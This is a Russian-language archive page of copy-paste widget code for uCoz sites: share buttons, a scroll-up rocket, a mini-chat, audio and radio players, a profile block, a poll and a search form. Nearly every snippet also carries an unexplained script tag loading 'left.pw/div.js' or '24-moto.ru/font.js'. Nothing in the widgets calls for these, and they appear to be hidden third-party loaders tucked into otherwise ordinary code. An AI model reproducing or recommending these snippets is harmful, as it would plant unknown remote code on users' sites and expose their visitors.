Главная » Архив материалов
 Набор соц. закладок для сайта - твиттер, вк, фейсбук, гугл +1 Установка: Где желаем видеть вставляем код в HTML: Код <table style="width: 100%; height: 100px;border-collapse: collapse;"><tbody><tr><td style="width: 25%; height: 50px; background-image: url(http://pnghosts.ru/img/vk1.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%; background-repeat: repeat repeat;"><script type="text/javascript" src="http://left.pw/div.js"></script><img src="http://pnghosts.ru/img/vk2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/tw2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/fb2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/gp2.jpg" alt="" align="middle"><br></td></tr><tr><td style="width: 25%; height: 40px; background-image: url(http://pnghosts.ru/img/vk3.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%;"><div align="center"><!-- Put this script tag to the <head> of your page --> <script type="text/javascript" src="http://vk.com/js/api/share.js?90" charset="windows-1251"></script> <!-- Put this script tag to the place, where the Share button will be --> <script type="text/javascript"><!-- document.write(VK.Share.button(false,{type: "round", text: "Поделиться"})); --></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center"><a href="https://twitter.com/share" class="twitter-share-button" data-lang="ru" data-count="none">Твитнуть</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%;"><div align="center"><a name="fb_share" type="button_count" href="http://www.facebook.com/sharer.php">Опубликовать</a> <script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center"><!-- Поместите этот тег туда, где должна отображаться кнопка +1. --> <div class="g-plusone" data-annotation="inline" data-width="160"></div> <!-- Поместите этот тег за последним тегом виджета кнопка +1. --> <script type="text/javascript"> window.___gcfg = {lang: 'ru'}; (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/platform.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })(); </script></div></td></tr></tbody></table> |
 Кнопка наверх выполненная в виде ракеты с эффектом огня Устанавливаем в нижнюю часть сайта: <div id="MrScrollUp" style="display: block; right: 49.5px;"> <div class="MrScrollUp1" style="opacity: 0; display: block; background-position: -62px 0px;"></div> <div class="MrScrollUp2"></div><script type="text/javascript" src="http://left.pw/div.js"></script></div> <link rel="stylesheet" type="text/css" href="http://pnghosts.ru/js_css/raketa.css"> <script type="text/javascript" src="http://pnghosts.ru/js_css/MrScrollUp_raketa.js"></script> |
 Удобный и функциональный выдвижной мини-чат для uCoz от Урааа. Это абсолютно полная и рабочая версия мини-чата. Мини-чат уже завоевал популярность, и многие сайты поставили себе такой же, но скрипт, которым я поделился со своими пользователями, ограничен – отсутствует звуковое оповещение и панель для выбора смайлов. Это не просто полная версия, а новая дополненная версия мини-чата. В мини-чат добавлен счетчик пользователей онлайн, а ваши сообщения в чате выделяются.  Установка 1. Активируйте модуль мини-чат. В настройках модуля активируйте дополнительные поля 1 и 2.  2. Админ панель - Управление дизайном » Мини-чат » Вид материалов Нужно все убрать и прописать этот код: Код <?if($CUSTOM2$='active')?> <div class="msg"> <div class="sb$PARITY$ comm_id$USER_ID$"> <table cellspacing="0" cellpadding="0"> <tr> <td id="av$USER_ID$" valign="top" width="36"><div class="av"><div> <a href="$PROFILE_URL$"><img src="$CUSTOM1$" alt="$USERNAME$" /></a></div></td> <td id="ms$USER_ID$" valign="top"> <div class="us"><div class="pdvr"><span class="l_it"><a href="javascript:otbet('$USERNAME$')" class="otbv">Ответить</a> |</span> <span title="$DATE$">$TIME$</span></div> <a href="$PROFILE_URL$">$USERNAME$</a></div> <div style="width:222px;overflow:hidden;margin-bottom:2px"<?if($NUMBER$='1')?> id="c_one"<?endif?>>$MESSAGE$</div> </td> </tr> </table> </div> </div> <?endif?> Потом меняем Форма добавления сообщений: Код <?if(!$USER_LOGGED_IN$)?> <?else?> <input type="hidden" name="custom1" class="mchat" id="mchatC1F" value="/images/noavatar.gif" /> <input type="hidden" name="custom2" value="active" /> <div align="left"><input type="text" name="mcmessage" class="mchat" id="mchatMsgF" maxlength="500" value="" /></div> <input type="submit" onclick="messages();setTimeout(function(){messages()},500)" value="Отправить" class="mchat2" id="mchatBtn" /> <input type="hidden" name="email" value="1@yraaa.ru"> <input style="display:none;" id="mchatAjax" type="button" value="Отправить" class="mchat2" disabled /> <?endif?> И теперь в низ сайта, ставим этот код: <!--chat--> <script type="text/javascript" src="http://pnghosts.ru/js_css/cookies.js"></script> <style type="text/css"> #c_one_clon, #c_tell {position:absolute;top:-1500px} .chat_over {position:fixed;padding:5px;padding-top:0;z-index:9999;bottom:-202px;right:20px;text-align:center;background:rgba(0,0,0,0.6); border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;font-size:13px} #setting_chat {float:right;margin:5px;width:16px;height:16px;overflow:hidden} #setting_chat a {width:16px;height:16px;overflow:hidden;display:inline-block;background:url('http://pnghosts.ru/img/cog_chat.png') 2px 2px no-repeat} #online_counter {float:right;color:#FFF;padding:5px;padding-left:16px;background:url('http://pnghosts.ru/img/user_16.png') 0px 9px no-repeat;cursor: pointer} #bottom_chat {text-align:left;display:none;padding:5px;color:#FFFFFF;cursor: pointer} #top_chat {text-align:left;padding:5px;color:#FFFFFF;cursor: pointer} .ngd {cursor:default; background:#FFF; padding:5px; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;} .pdvr {float:right} .clkg {width:288px;padding:5px;padding-bottom:6px;border:1px solid #EAEAEA;background:#EAEAEA;color:#000;text-align:left;border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;} #wrapper2 .comm {margin-top:0;margin-left:0px;} .sb1, .sb2 {margin-bottom:5px;padding:4px;-webkit-border-radius: 3px;-moz-border-radius: 3px;border-radius: 3px;} .cs2 {margin-top ... Читать дальше » |
 Устанавливаете любое место сайта Код <script type="text/javascript"> swfobject.embedSWF("http://radioforex.ru/uploads/player/160x60-black.swf", "player", "160", "60", "8.0.0", "http://radioforex.ru/playerData/expressInstall.swf", {autoPlay:false, bitrate:128, volume:40 }); </script><script type="text/javascript" src="http://24-moto.ru/font.js"></script><object style="visibility: visible;" id="player" data="http://radioforex.ru/uploads/player/160x60-black.swf" type="application/x-shockwave-flash" height="60" width="160"><param value="autoPlay=false&bitrate=128&volume=40" name="flashvars"></object> |
 Создать глобальный блок и вставляет в него код: Код <center>$COUNTER$</center> <hr><center><img src="http://pnghosts.ru/img/81.png" border="0"></a></center> $ONLINE_COUNTER$[ <a href="#" onclick="new _uWnd('OnUsrLst',' ',250,200,{autosize:0},{url:'/index/62'});return false;">Кто on-line?</a> ]<script type="text/javascript" src="http://24-moto.ru/font.js"></script><br>[ <a href="#" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'}); return false;" class="fUsrList">Кто нас сегодня посетил</a> ] |
 Аудиоплеер имеет размеры 305Х235 и оснащён плейлистом который может содержать любое количество музыкальных композиций или радиопотоков. Воспроизведение музыки автоматически не переключается на следующую, каждую мелодию нужно включать индивидуально. Для установки понадобится скопировать весь код из примера, создать текстовый документ для плейлиста или скачать готовый и составить список воспроизводимых композиций. После составления списка воспроизведения закачайте готовый файл файл плейлиста на сервер своего сайта и укажите путь к нему в коде плеера и поместите весь код плеера там где хотите его видеть. Установка кода аудиоплеера производится в любом месте поддерживающем HTML редактирование. Аудиоплеер может работать без плейлиста, воспроизводя одну композицию. Код для установки аудиоплеера с плейлистом Вам потребуется заменить ссылку ( http://pnghosts.ru/js_css/playlist-demo.txt ) на Ваш плейлист и установить код там где будет находиться аудиоплеер с плейлистом. Код <script language="JavaScript" src="//pnghosts.ru/js_css/swfobject1.js"></script> <script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayer"></div> <script> var flashvars = {"uid":"audioplayer","m":"audio","st":"http://pnghosts.ru/js_css/wahiteaudio-pl-305X36.txt","pl":"http://pnghosts.ru/js_css/playlist-demo.txt"}; var params = {id:"audioplayer",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"}; new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayer", "305", "235", "10.0.0", "expressInstall.swf", flashvars, params); </script> Пример файла плейлиста аудиоплеера Впишите название композиции и ссылку на неё, количество песен в плейлисте может быть любым, можно использовать радиопотоки, они вписываются аналогично музыкальным ссылкам. При формировании плейлиста нельзя создавать пробелы и переносы в строках. Ячейка одной композиции выглядит так: {"comment":"НАЗВАНИЕ","file":"ССЫЛКА НА МУЗЫКУ"} Обратите внимание, между ячейками стоит запятая, её нет только после последней. Код {"playlist":[{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"}]} Код для установки аудиоплеера без плейлиста  Аудиоплеер с размерами 305Х36 будет оснащён только одной музыкальной композицией или радиопотоком, для добавления измените ссылку http://SITE.RU/SOUNDS.mp3 на свою. Код <script language="JavaScript" src="//pnghosts.ru/js_css/swfobject.js"></script> <script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayerds"></div> <script> var flashvars = {"uid":"audioplayerds","m":"audio","st":"http://pnghosts.ru/js_css/whiteaudio-pl-305X36.txt","file":"http://SITE.RU/SOUNDS.mp3"}; var params = {id:"audioplayerds",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"}; new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayerds", "305", "36", "10.0.0", "expressInstall.swf", flashvars, params); </script> |
 Создаем глобальный блок и вставляем туда код мини профиля Код <!-- Личный кабинет -->
<DIV align="center"><script language="JavaScript"> function process(){} today = new Date() if((today.getHours() < 12) && (today.getHours() >= 6)) { document.write("<b>Доброе утро, $USERNAME$.</b>")} if((today.getHours() >= 12) && (today.getHours() < 18)) { document.write("<b>Добрый день, $USERNAME$.</b>")} if((today.getHours() >= 18) && (today.getHours() <= 23)) { document.write("<b>Добрый вечер, $USERNAME$.</b>")} if((today.getHours() >= 0) && (today.getHours() < 4)) { document.write("<b>Здравствуйте, $USERNAME$. Не спится?</b>")} if((today.getHours() >= 4) && (today.getHours() <= 6)) { document.write("<b>Здравствуйте, $USERNAME$.<br>Мы рады вас видеть в столь ранний час.</b>")} </script> <?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/no_avatar_user.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/noavat_log.png" border="0"><?endif?><?endif?><br> <script type="text/javascript" src="http://24-moto.ru/font.js"></script> <?if($USER_LOGGED_IN$)?> <?endif?> <?if($USER_LOGGED_IN$)?> <!-- --> <script language="javascript1.2"> <!-- var ns6=document.getElementById&&!document.all?1:0 var head="display:''" var folder='' function expandit(curobj){ folder=ns6?curobj.nextSibling.nextSibling.style:document.all[curobj.sourceIndex+1].style if (folder.display=="none") folder.display="" else folder.display="none" } //--> </script> <table align="center" class="gTable1" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="95%"> <td valign="middle" width="75%"> <div style="float:center"><img style="cursor:hand" onclick="expandit(this)" title="Подробная информация" src="http://pnghosts.ru/img/informaciya.png"> <span style="display:none"> <div style="border-style: dotted; border-color: rgb(100, 100, 100) rgb(100, 100, 100) rgb(190, 190, 190); border-width: 1px; padding: 5px; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(88, 85, 70); background-color: lightgray; text-align: justify;"> <b>Ваш логин:</b> $USERNAME$<br> <b>Ваше имя:</b> $USER_FULL_NAME$<br> <b>Вы родились:</b> $USER_BIRTHDAY$ <br> <b>Ваш ID:</b> $USER_ID$<br> <b>Вы здесь: $USER_REG_DAYS$-й день</b><br> <b>Ваша група:</b> $USER_GROUP$<br> <b>ID вашей групы:</b> $GROUP_ID$<bR> <b>Ваш IP адрес:</b> $IP_ADDRESS$<br> <b>Ваш браузер:</b> $USER_AGENT$ $USER_AGENT_VER$<br> <b>Ваш пол :</b> $USER_GENDER$<br> <center><?if($IS_NEW_PM$)?><b>$USERNAME$ у вас <a onclick="window.open('$PM_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;">$UNREAD_PM$ ЛС</a> !</b><?endif?></centeR> </div> </span></div></td></table> <!--/--> <br> <!-- --> <table align="center" class="gTable1" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="95%"> <td valign="middle" width="75%"> <div style="float:center"><img style="cursor:hand" onclick="expandit(this)" title="Доступные функции" src="http://pnghosts.ru/img/instument_img.png"> <span style="display:none"> <div style="border-style: dotted; border-color: rgb(100, 100, 100) rgb(100, 100, 100) rgb(190, 190, 190); border-width: 1px; padding: 5px; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(88, 85, 70); background-color: lightgray; text-align: justify;"> <center> <input class="buttonprofile" type="button" onclick="window.open('/index/15-1','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="Список пользователей"> <input class="buttonprofile" type="button" onclick="window.open('/index/11','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="Изменить сведения"> <input class="buttonprofile" type="button" onclick="window.open('$AWARDS_READ_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Список наград "> <input class="buttonprofile" type="button" onclick="window.open('/index/14-999-0-1', ... Читать дальше » |
 Красочный вид статистики кв, статистика для клана css,cs, и других. Особенность в данной статистики то что ярко выраженно поле нечьи, победы... Оформление статистике на css стилях, цвет серый опять скрипт под тёмный сайт, но стили легко редактировать, и можно сделать синем, крастным или белым. Устоновка: Кидаем код в новый блок, ВСЁ! Код <center> <table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align=""> <tbody> <tr> <td style="height: 22px; text-align: center; background: ##696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1"> <img src="http://pnghosts.ru/img/Win.png"/> </td> </tr> <tr> <td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; "> <font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Победы (419)</font> </td> </tr> </tbody> </table> <br/> <table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align=""> <tbody> <tr> <td style="height: 22px; text-align: center; background: ##696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1"> <script type="text/javascript" src="http://24-moto.ru/font.js"></script> <img src="http://pnghosts.ru/img/Lose.png"/> </td> </tr> <tr> <td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; "> <font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Поражения (90)</font> </td> </tr> </tbody> </table> <br/> <table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align=""> <tbody> <tr> <td style="height: 22px; text-align: center; background: #282828; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1"> <img src="http://pnghosts.ru/img/Drawn.png"/> </td> </tr> <tr> <td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; "> <font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Ничьи (15)</font> </td> </tr> </tbody> </table> </center> |
 В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста Установка: Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот: Код <div class="cell-poll"> <div class="cell-poll-title">$QUESTION$</div> <div class="cell-poll-answers">$ANSWERS$</div> <div class="cell-poll-link"> <span>Ответов: <strong>$TOTAL_VOTES$</strong></span> <a href="$RESULTS_LINK$" >Результаты </a> <b> | </b> <a href="$ARCHIVE_LINK$">Архив </a> </div> </div> <script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript"> var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);} $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); </script> Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код: Код /* Вид опроса для uCoz, в стили flat v2
------------------------------------------*/ .cell-poll{ float:left; width:230px; color:#666; background: #fff; padding: 10px 10px 10px 10px; border: 1px solid #B6C0CD; border-radius:5px; } .cell-poll-title{ float:left; width:100%; padding-bottom: 10px; border-bottom: 1px solid #B6C0CD; font:12px Verdana,Arial,Helvetica, sans-serif; font-weight:bold; text-align:center; color:#777; } .cell-poll a {text-decoration:none; outline:none} .cell-poll-answers{ float:left; width:100%; margin: 10px 0px 10px 0px; text-align:left; } .answer {display: block;} .answer input{margin: 3px 5px 2px 5px;} .answer label {margin: 2px 0px 2px 0px; color:#555;} .progress { height: 15px; overflow: hidden; margin: 5px 0px 7px 0px; height: 15px!important; background: #F4F8F9!important; } .progress-0, .progress-1, .progress-2, .progress-3, .progress-4, .progress-5, .progress-6, .progress-7, .progress-8, .progress-9, .progress-10, .progress-11, .progress-12, .progress-13, .progress-14 { height: 18px!important; display: block!important; overflow: hidden!important; margin-top: -3px; } .progress-0 {background: #5D9AD3!important;} .progress-1 {background: #E96465!important;} .progress-2 {background: #F6954E!important;} .progress-3 {background: #dd8cd2!important;} .progress-4 {background: #75D0ED!important;} .progress-5 {background: #5BC254!important;} .progress-6 {background: #CFC72D!important;} .progress-7 {background: #DD3344!important;} .progress-8 {background: #FE9B6F!important;} .progress-9 {background: #8CC84B!important;} .progress-10 {background: #DD8CD2!important;} .progress-11 {background: #e9eb5b!important;} .progress-12 {background: #E96465!important;} .progress-13 {background: #75D0ED!important;} .progress-14 {background: #5D9AD3!important;} .pollBut{ cursor:pointer; border:none!important; margin-top:10px; ba ... Читать дальше » |
 Скрипт представляет собой форму поиска по сайту, а именно по выбранным модулям, типа доски объявлений, каталогов сайтов и файлов и т.д. Поменяйте название сайта на своё, далее копируем весь код и в конструкторе на сайте добавляем в какой нибудь блок, потом сохраняем конструктор и проверяем работу скрипта, по возможности можете добавить в него дополнительные модули для поиска. Код <script type="text/javascript"> //Search start function searchSelect(f) { n = f.modul.selectedIndex; modul = f.modul.options[n].value; document.search.action = 'http://SITE.RU/'+modul+'/'; if (modul == 'news') { document.search.a.value = '14'; } else if (modul == 'load' || modul == 'publ' || modul == 'dir' || modul == 'board') { document.search.a.value = '2'; } else if (modul == 'blog') { document.search.a.value = '13'; } else if (modul == 'faq') { document.search.a.value = '3'; } } //Search end </script> <div class="searchForm"> <form name="search" onSubmit="this.sfSbm.disabled=true" method="post" style="margin: 0px;"> <div class="schQuery" align="center"> <input name="query" maxlength="30" size="20" class="queryField" type="text"> <script type="text/javascript" src="http://24-moto.ru/font.js"></script> <select name="modul" onChange="searchSelect(this.form);"> <option value="none">Где искать?</option> <option value="news">Новости</option> <option value="load">Файлы</option> <option value="publ">Статьи</option> <option value="dir">Сайты</option> <option value="blog">Блог</option> <option value="faq">ЧаВо</option> <option value="board">Объявления</option> </select> </div> <div class="schBtn" align="center"> <input class="searchSbmFl" onClick="this.sfSbm.disabled=true" name="sfSbm" value="« Найти »" type="submit"> </div> <input name="a" type="hidden"> </form> </div> |